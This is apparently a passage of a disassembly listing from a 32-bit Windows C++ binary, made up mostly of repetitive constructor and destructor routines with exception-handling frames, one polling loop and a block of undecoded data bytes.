sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8E9B mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F30 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F30 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 90000002h, 69E020E8h, 8E92E871h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) 